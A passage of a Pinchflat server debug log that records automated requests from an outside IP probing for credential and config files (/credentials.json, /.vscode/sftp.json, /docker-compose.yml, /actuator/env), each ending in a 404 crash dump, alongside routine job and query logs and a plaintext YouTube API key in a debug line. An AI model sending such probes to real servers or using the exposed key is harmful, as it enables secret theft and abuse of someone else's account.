pid: #PID<0.21528.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/credentials.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53740}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21529.0>, params: %{}, path_info: ["credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/credentials.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfqU59OE2ux4ABcEi"} ], (truncated) 15:40:22.538 [info] GET /.vscode/sftp.json 15:40:22.539 [debug] QUERY OK source="settings" db=0.1ms idle=350.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:22.539 [debug] QUERY OK source="settings" db=0.0ms idle=229.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:22.539 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:22.539 [error] #PID<0.21531.0> running PinchflatWeb.Endpoint (connection #PID<0.21530.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.vscode/sftp.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vscode/sftp (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21530.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/sftp.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53752}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21531.0>, params: %{}, path_info: [".vscode", "sftp"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.vscode/sftp.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfqwFZyjW6mUACMbB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21530.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/sftp.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53752}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vscode/sftp (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21530.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/sftp.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53752}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21531.0>, params: %{}, path_info: [".vscode", "sftp"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.vscode/sftp.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfqwFZyjW6mUACMbB"} (truncated) 15:40:22.650 [info] GET /docker-compose.yml 15:40:22.651 [debug] QUERY OK source="settings" db=0.1ms idle=341.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:22.651 [debug] QUERY OK source="settings" db=0.0ms idle=226.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:22.651 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:22.651 [error] #PID<0.21533.0> running PinchflatWeb.Endpoint (connection #PID<0.21532.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /docker-compose.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker-compose (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21532.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.yml", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53768}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21533.0>, params: %{}, path_info: ["docker-compose"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/docker-compose.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfrK2v0t71qEACMbh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21532.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.yml", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53768}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker-compose (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21532.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.yml", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53768}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21533.0>, params: %{}, path_info: ["docker-compose"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/docker-compose.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfrK2v0t71qEACMbh"} (truncated) 15:40:27.236 [info] {"source":"oban","duration":12387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:28.063 [info] {"args":{"id":37},"id":3799762,"meta":{},"system_time":1770759628063517394,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:40:28.064 [debug] QUERY OK source="sources" db=1.1ms idle=185.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [37] 15:40:28.068 [debug] QUERY OK source="settings" db=3.6ms idle=186.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:28.075 [debug] QUERY OK source="media_profiles" db=6.3ms idle=190.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:40:28.082 [debug] QUERY OK source="settings" db=7.7ms idle=21.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:28.083 [debug] Fetching recent media IDs from YouTube API for playlist: UUcZqcdpiaDR3wbvS2Yu9xfw 15:40:28.083 [debug] QUERY OK source="settings" db=0.0ms idle=19.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:28.083 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:40:28.188 [debug] QUERY OK source="media_items" db=0.5ms idle=122.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [37, "ZempW3DeiHc", "K5YEoWYl75s", "EcPzDxji3SE", "hI90sPvV0C0", "o4Y-u-_8VsU", "VZLpFA3HIM8", "8MK5FLwpfqc", "n6awTDNkxvA", "hhm0nu3Ep5s", "nZyEptt3pdk", "scmdr8dVddQ", "Ri0KylA5D2c", "fIPdFsMu0HY", "j3s_4Mnl55Y", "BfHhAubdTSM", "Ts33nJu9pLo", "1MsM7pFS2og", "tUER2cEjTSU", "zl2h07mHIH0", "Pm8AeE5wRHg", "3K5jPjdV_BU", "tInJ45Gr6nE", "sNypPfHbnkw", "Qror46CYz_8", "cJt-0XogsL4", "QdpY9eQXXlc", "89w5_-zcexo", "sXrVvwFJpfo", "26Yd2Wma-HI", "VNAKa-7-1xQ", "4U5QrFcHibU", "qtILvKKg4Yo", "J1lEA9Tef44", "TCk8j-4etKk", "tARk9xBflxo", "Sn88ZdL1pnM", "V0skKmeOIiU", "czAdrqvhvBM", "Na2eWpXkGWo", "h4-WqlqeDjc", "Nig4e3UZ0Ak", "R79HCCLJkig", "iOAl0xuNyQ8", "U7W1KL0xHrw", "JXIH6G9b0Mw", "4VAoSHYbFe8", "rX66ykNnlLE", "tubBaYmpqQs", "bc6s9Nn73FI", ...] 15:40:28.188 [debug] QUERY OK source="settings" db=0.0ms idle=120.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:28.188 [debug] QUERY OK source="settings" db=0.0ms idle=113.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:28.188 [debug] Running yt-dlp command for action: get_media_attributes 15:40:28.189 [debug] QUERY OK source="settings" db=0.0ms idle=106.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:28.189 [debug] QUERY OK source="settings" db=0.0ms idle=106.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:28.189 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:28.190 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a5/f4/a5f4ffdb7540afe6c654435a0d49933438620dabae8c70c4652115e248b046d9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:40:29.622 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a5/f4/a5f4ffdb7540afe6c654435a0d49933438620dabae8c70c4652115e248b046d9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] n6awTDNkxvA: This live event will begin in 18 hours. 15:40:29.622 [error] Error creating media item 'n6awTDNkxvA' from URL: {:error, "ERROR: [youtube] n6awTDNkxvA: This live event will begin in 18 hours.\n", 1} 15:40:29.624 [debug] QUERY OK source="media_items" db=1.0ms idle=1434.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [37] 15:40:29.625 [debug] QUERY OK source="tasks" db=0.1ms idle=570.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799801, 37, ~U[2026-02-10 21:40:29Z], ~U[2026-02-10 21:40:29Z]] 15:40:29.626 [info] {"args":{"id":37},"id":3799762,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":1562166,"event":"job:stop","queue_time":111077,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:40:34.108 [info] GET /actuator/env 15:40:34.109 [debug] QUERY OK source="settings" db=0.1ms idle=1230.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:34.109 [debug] QUERY OK source="settings" db=0.0ms idle=1230.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:34.109 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:34.109 [error] #PID<0.21544.0> running PinchflatWeb.Endpoint (connection #PID<0.21543.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /actuator/env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21543.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36812}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => 